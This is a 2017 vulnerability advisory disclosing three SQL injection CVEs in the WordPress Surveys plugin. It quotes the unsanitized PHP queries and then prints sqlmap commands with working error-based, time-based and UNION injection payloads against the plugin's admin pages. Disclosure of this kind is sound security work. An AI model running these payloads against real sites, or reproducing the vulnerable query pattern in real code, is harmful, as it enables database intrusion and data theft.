Advisory #: 193
Title: SQL Injection in Wordpress plugin surveys v1.01.8
Author: Larry W. Cashdollar, @_larry0
Date: 2017-05-21
CVE-ID:[CVE-2017-1002020][CVE-2017-1002021][CVE-2017-1002022]
Download Site: https://wordpress.org/plugins/surveys/
Vendor: http://www.binnyva.com/
Vendor Notified: 2017-05-22
Vendor Contact: binnyva@gmail.com
Advisory: http://www.vapidlabs.com/advisory.php?v=193
Description: The Surveys WordPress plugin lets you add surveys to your blog. You can let the visitors take surveys and see the result from the admin side.
Vulnerability:
CVE-2017-1002020: The following code in survey_form.php does not sanitize $_REQUEST['action'] before placing it inside of an SQL query: 10: $survey_details = $wpdb->get_row("SELECT name,description,status FROM {$wpdb->prefix}surveys_survey WHERE ID=$_REQUEST[survey]"); CVE-2017-1002021: The following code in individual_responses.php does not sanitize input from $survey_id or $_REQUEST[result] before placing it inside of an SQL query: 5 $survey_id = $_REQUEST['survey']; 6 $survey_details = $wpdb->get_row("SELECT ID, name FROM {$wpdb->prefix}surveys_survey WHERE ID=$survey_id"); 7 8 if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'delete') { 9 $wpdb->query("DELETE FROM {$wpdb->prefix}surveys_result_answer WHERE result_ID=$_REQUEST[result]"); 10 $wpdb->query("DELETE FROM {$wpdb->prefix}surveys_result WHERE ID=$_REQUEST[result]"); CVE-2017-1002022: In questions.php $_REQUEST[survey] is injectable as it is passed directly into the SQL statement: 94 $all_question = $wpdb->get_results("SELECT Q.ID,Q.question,(SELECT COUNT(*) FROM {$wpdb->prefix}surveys_answer WHERE question_id=Q.ID) AS answer_count 95 FROM {$wpdb->prefix}surveys_question AS Q 96 WHERE Q.survey_id=$_REQUEST[survey]");
Export: JSON TEXT XML
Exploit Code:
  1. $ sqlmap -u 'http://192.168.0.169/wordpress/wp-admin/edit.php?page=surveys%2Fsurvey_form.php&survey=*&action=edit' --dbms mysql --level 1 --risk 1 --load-cookies=./cookies.txt
  2.  
  3.  
  4. [22:45:22] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
  5. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  6. sqlmap identified the following injection point(s) with a total of 1913 HTTP(s) requests:
  7. ---
  8. Parameter: #1* (URI)
  9. Type: error-based
  10. Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
  11. Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=(SELECT 8079 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(8079=8079,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&action=edit
  12.  
  13. Type: AND/OR time-based blind
  14. Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  15. Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=(CASE WHEN (5824=5824) THEN SLEEP(5) ELSE 5824 END)&action=edit
  16.  
  17. Type: UNION query
  18. Title: MySQL UNION query (random number) - 3 columns
  19. Payload: http://192.168.0.169:80/wordpress/wp-admin/edit.php?page=surveys/survey_form.php&survey=-3195 UNION ALL SELECT 1509,CONCAT(0x7162767171,0x49776a5a4456614e5446634579746a735757586f66776e5145566a776c45797256735a4d476f7170,0x71706b7171),1509#&action=edit
  20. ---
  21. [22:45:25] [INFO] the back-end DBMS is MySQL
  22. web server operating system: Linux Ubuntu 16.04 (xenial)
  23. web application technology: Apache 2.4.18
  24. back-end DBMS: MySQL >= 5.0
  25. [22:45:25] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.169'
  26.  
  27. [*] shutting down at 22:45:25
  28.  
  29.  
  30. $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=surveys%2Fquestion.php&survey=*' --dbms mysql --level 3 --risk 3 --load-cookies=./cookies.txt
  31.  
  32. [14:12:16] [INFO] URI parameter '#1*' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
  33. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  34. sqlmap identified the following injection point(s) with a total of 1252 HTTP(s) requests:
  35. ---
  36. Parameter: #1* (URI)
  37. Type: AND/OR time-based blind
  38. Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
  39. Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=surveys/question.php&survey=(SELECT * FROM (SELECT(SLEEP(5)))rwrG)
  40.  
  41. Type: UNION query
  42. Title: Generic UNION query (random number) - 3 columns
  43. Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=surveys/question.php&survey=-3214 UNION ALL SELECT CONCAT(0x716b787671,0x5464416c58704b4b44675145455a565a61594371676143554e705851457371584b75427a5641666d,0x7178627871),7176,7176-- yWXG
  44. ---
  45. [14:12:18] [INFO] the back-end DBMS is MySQL
  46. web server operating system: Linux Ubuntu 16.04 (xenial)
  47. web application technology: Apache 2.4.18
  48. back-end DBMS: MySQL >= 5.0.12
  49. [14:12:18] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
  50.  
  51. [*] shutting down at 14:12:18
  52.  
  53.  
Screen Shots:
Notes: